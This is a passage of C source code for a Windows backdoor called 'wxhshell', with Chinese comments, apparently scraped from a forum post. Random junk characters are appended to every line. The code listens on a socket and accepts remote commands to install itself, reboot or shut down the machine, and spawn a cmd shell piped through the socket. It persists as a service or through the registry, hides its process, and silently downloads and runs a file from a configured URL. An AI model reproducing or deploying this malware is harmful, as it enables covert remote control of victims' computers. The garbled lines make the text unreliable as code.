  gr=`_k4~1  
  // 帮助 >seB["C  
  case '?': { BSY#xe V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m @%|Q;  
    break; >A/=eW/q  
  } (r4\dp&  
  // 安装 d w|0K+-PH  
  case 'i': { "gz;Q  
    if(Install()) ;~J~g#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _<7FR:oBZ  
    else ihVQ,Cth  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ymu=G3-  
    break; 11sW$@xs 9  
    } $\ '\@3o  
  // 卸载 AngwBZ@  
  case 'r': { I'C ,'  
    if(Uninstall()) :Eyv==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,Y2Lzr  
    else K;PpS*!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M=A9a x  
    break; %U 7B0-  
    } hz%IxI9  
  // 显示 wxhshell 所在路径 ap~Iz  
  case 'p': { xTMTkVa+B  
    char svExeFile[MAX_PATH]; [)A#9L~s=  
    strcpy(svExeFile,"\n\r"); fLAF/#\2  
      strcat(svExeFile,ExeFile); cw.7YiU  
        send(wsh,svExeFile,strlen(svExeFile),0); jHCKV  
    break;  |_ *$+  
    } Kc0OLcu^d  
  // 重启 vp@+wh]#  
  case 'b': { =*Xf(mhc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M jTKM;  
    if(Boot(REBOOT)) Hi9z<l=$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9_3M}|V$^e  
    else { &?6w 2[}  
    closesocket(wsh); \tx/!tA  
    ExitThread(0); }nl)*l  
    } rYQ@"o0/Y  
    break; CdO-xL6F  
    } $NH Wg(/R@  
  // 关机 pt#[.n#f  
  case 'd': { |5Pbc&mH8A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kVv <tw  
    if(Boot(SHUTDOWN)) xF;v 6d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1\0@?6`^  
    else { !%r`'|9y  
    closesocket(wsh); w)n]}k  
    ExitThread(0); +.I'U9QeUN  
    } 8)8oR&(f  
    break; sIsu >eL  
    } p%1m&/ `F  
  // 获取shell [!mjUsut*  
  case 's': { 1.uQ(>n  
    CmdShell(wsh); su;S)yZb  
    closesocket(wsh); rgKn=8+a  
    ExitThread(0); RzQS@^u*F0  
    break; QOk"UP  
  } >iN%Uz  
  // 退出 )6^xIh  
  case 'x': { t8 "-zd8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "lf3hWGw  
    CloseIt(wsh); _ZBR<{  
    break; .~ lt+M9  
    } qI*1+R}  
  // 离开 a HL '(<  
  case 'q': { -<]_:Kf{;&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q0\5j<'e  
    closesocket(wsh); RJ4mlW  
    WSACleanup(); /8\&f %E  
    exit(1); +Uq:sfj,  
    break; 1C=P#MU`  
        } FSs$ ] d;  
  } &Ld8Z9IeFp  
  } M) XQi/  
m?$G(E5  
  // 提示信息 }9 2lr87  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !p2,|6Y`y  
} D(U3zXdO  
  } @(fY4]K  
ilpZ/Rs  
  return; P%HyIODS  
} *%'7~58ObS  
G!%XQ\a!  
// shell模块句柄 {NgY8w QB  
int CmdShell(SOCKET sock) \3?;[xD  
{ B Rj KV  
STARTUPINFO si; ArzsZ<\//  
ZeroMemory(&si,sizeof(si)); d ovwB`5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^l&4UnLlc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ky$:C,1t  
PROCESS_INFORMATION ProcessInfo; ^) ^|;C\`  
char cmdline[]="cmd"; W r7e_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _kX/LR"L+  
  return 0; %uqD\`-  
} +\vY;!^  
BV?N_/DXp  
// 自身启动模式 e7qMt[.  
int StartFromService(void) M;V#Gm  
{ s^'#"`!v=  
typedef struct M`pTT5r  
{ oHd0 <TO  
  DWORD ExitStatus; +gCy@_2;  
  DWORD PebBaseAddress; P Xn>x8z  
  DWORD AffinityMask; 1'm`SRX#e  
  DWORD BasePriority; {<4?o? 1 g  
  ULONG UniqueProcessId; 6@;L$QYY-V  
  ULONG InheritedFromUniqueProcessId; _|wY[YJ[  
}   PROCESS_BASIC_INFORMATION; x~Ly$A2p  
qZ_fQ@   
PROCNTQSIP NtQueryInformationProcess; >@"3Q`  
7C7(bg,7^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @<TZH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {&u7kWD|  
T^;Jz!e  
  HANDLE             hProcess; ss@}Dt^  
  PROCESS_BASIC_INFORMATION pbi; }6,bq`MN  
lWw!+[<:q1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); um2s^G  
  if(NULL == hInst ) return 0; exEld  
?WtG|w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  zn;Hs]G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $o$Ev@mi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jsi#l  
;4v}0N~.  
  if (!NtQueryInformationProcess) return 0; P9mxY*K)%5  
"q>I?UcZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gXLZ)>+A+  
  if(!hProcess) return 0; \{=`F`oB=  
m<,G:?RM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3et2\wOX1x  
V&j.>Y  
  CloseHandle(hProcess); C\^<v&  
A.C278^O8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LO}:Ub  
if(hProcess==NULL) return 0; p2c=;5|/Q  
$N+ {r=  
HMODULE hMod; hB$Y4~T%  
char procName[255]; m/c&/6nk  
unsigned long cbNeeded; ""v`0OP&J  
c]!D`FA*K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q @OC=  
vV\F^  
  CloseHandle(hProcess); lPcVhj6No%  
5az 4NT  
if(strstr(procName,"services")) return 1; // 以服务启动 . (*kgv@3x  
G9y12HV  
  return 0; // 注册表启动 dMs39j  
} {F6dSF`  
(06Vcqg  
// 主模块 ;ko[(eFN@  
int StartWxhshell(LPSTR lpCmdLine) )\D40,p  
{ e]*=sp!T  
  SOCKET wsl; _QMHPRELk  
BOOL val=TRUE; _?]BVw  
  int port=0; vXM/nw|5  
  struct sockaddr_in door; fov=Yd!  
+x9"#0|k;  
  if(wscfg.ws_autoins) Install(); ogc('HqF^'  
ks%7W -  
port=atoi(lpCmdLine); h6T/0YhWLP  
[' OCw {<  
if(port<=0) port=wscfg.ws_port; 1S[5#ewB;j  
Gz[ym j)5  
  WSADATA data; e=n{f*KG`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F`BgKH!  
)Rhff$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \abAPo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |CZnq-,C  
  door.sin_family = AF_INET; Oz#EGjz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ss0'GfP  
  door.sin_port = htons(port); Vyt~OTI\  
[N95.aD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nvs}r%1'5  
closesocket(wsl); VkTlPmr  
return 1; >SxZ9T|%  
} m]=oaj@9  
iy.%kHC  
  if(listen(wsl,2) == INVALID_SOCKET) { oF@x]bmU  
closesocket(wsl); ULNAH`{D  
return 1; DNW2;i<hsz  
} D _bkUR1  
  Wxhshell(wsl); +{C9uY)$vf  
  WSACleanup(); #[U 9(44,  
>\?z37 :T  
return 0; Yf!*OGF  
eb.cq"C  
} (+gL#/u  
|:(23O  
// 以NT服务方式启动 inPdV9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =(|xU?OL  
{ C7jc6(> m  
DWORD   status = 0; JwI`"$ > w  
  DWORD   specificError = 0xfffffff; ,na=~.0R:  
N,/BudF o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L'\/)!cEd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b,rH&+2H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2i7i\?<.  
  serviceStatus.dwWin32ExitCode     = 0; s?@)a,C%k  
  serviceStatus.dwServiceSpecificExitCode = 0; <nb3~z1  
  serviceStatus.dwCheckPoint       = 0; }ED nLou  
  serviceStatus.dwWaitHint       = 0; vlPl(F1  
FV^4   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0 .FHdJ<  
  if (hServiceStatusHandle==0) return; 1~R$$P11[9  
R*Xu( 89  
status = GetLastError(); sMz^!RX@  
  if (status!=NO_ERROR) ?}=-eJ(7e  
{ &'huS?g A9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J~iOP  
    serviceStatus.dwCheckPoint       = 0; W8G9rB|T  
    serviceStatus.dwWaitHint       = 0; Y[ iDX#  
    serviceStatus.dwWin32ExitCode     = status; )H;pGM:  
    serviceStatus.dwServiceSpecificExitCode = specificError; C?w <$DU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oTF^<I-C  
    return; _^6|^PT.  
  } t":W.q<  
a)_rka1(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uEScAeQXsI  
  serviceStatus.dwCheckPoint       = 0; 'n l RY5@2  
  serviceStatus.dwWaitHint       = 0; r)6uX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M q^|M~  
} p |\%:#  
@q> ktE_  
// 处理NT服务事件,比如:启动、停止 V\@jC\-5Vt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J7'f@X~nM  
{ 2/yXY_L  
switch(fdwControl) e$Xq    
{ C5PmLiOHY>  
case SERVICE_CONTROL_STOP: 4-7kS85  
  serviceStatus.dwWin32ExitCode = 0; |RR%bQ^{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `%t$s,TiP  
  serviceStatus.dwCheckPoint   = 0; A$%Q4jC}  
  serviceStatus.dwWaitHint     = 0; >Lw}KO`  
  { UTDcX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5!'R'x5e  
  } HDF!`  
  return; o%Be0~n'  
case SERVICE_CONTROL_PAUSE: AezvBY0'`z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OuOk=  
  break; k]SAJ~bS|  
case SERVICE_CONTROL_CONTINUE: {J,6iP{>ZN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a>wfhmr  
  break; %6NO0 F^  
case SERVICE_CONTROL_INTERROGATE: . ]o3A8  
  break; 2E`~ qn  
}; U,Z"G1^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ME}Cv`?<E  
} u\{qH!?t  
]Q6+e(:~ZH  
// 标准应用程序主函数 E /fw?7eQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4GG1E. z}  
{ SXRdNPXFO  
<91t`&aWW  
// 获取操作系统版本 zVM4BT(  
OsIsNt=GetOsVer(); le7 `uz!%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?xtt7*'D  
kAZC"qM%i  
  // 从命令行安装 *:=];1 O  
  if(strpbrk(lpCmdLine,"iI")) Install(); UGhW0X3k  
(;;J,*NP  
  // 下载执行文件 pOqGAD{D$  
if(wscfg.ws_downexe) { LXHwX*`Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7"ylN"syZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); jW-;4e*H=V  
} AIuMX4nb  
cPpu  
if(!OsIsNt) { 5cD XWF  
// 如果时win9x,隐藏进程并且设置为注册表启动 h [nH<m  
HideProc(); n?'d|h  
StartWxhshell(lpCmdLine); n,t6v5>88  
} <,jAk4  
else <Ctyht0c.  
  if(StartFromService()) ,f} h}  
  // 以服务方式启动 3g4e' ]t  
  StartServiceCtrlDispatcher(DispatchTable); `1nRcY  
else 9<xTu>7J  
  // 普通方式启动 >f&xJq  
  StartWxhshell(lpCmdLine); a @6^8B?w;  
G/v|!}?wG  
return 0; `kv1@aQPL  
}
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只看该作者 1 发表于: 2006-10-10
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